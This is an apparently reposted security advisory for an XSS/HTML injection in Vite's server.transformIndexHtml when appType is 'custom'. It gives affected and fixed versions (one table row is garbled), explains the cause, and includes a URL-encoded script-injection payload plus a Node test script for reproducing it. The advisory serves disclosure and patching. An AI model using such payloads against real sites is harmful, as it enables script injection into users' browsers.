| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| vite | = 5.0.0≥ 4.4.0, ≤ 4.4.11≥ 5.0.0, ≤ 5.0.4 | |
| vite | ≥ 4.4.0, < 4.4.12≥ 4.5.0, < 4.5.1≥ 5.0.0, < 5.0.5 | 4.4.124.5.15.0.5 |
When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.
Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.
Fixed in [email protected], [email protected], [email protected]
Suppose index.html contains an inline module script:
<script type="module">
// Inline script
</script>
This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:
When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,
so the url passed to server.transformIndexHtml is /index.html.
However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces
<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíIt is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.
vite dev middleware with appType: 'custom'
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigatevite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)
This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:
However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.
My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises';
import * as vite from 'vite';
const html = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
</head>
<body>
<script type="module">
// Inline script
</script>
</body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).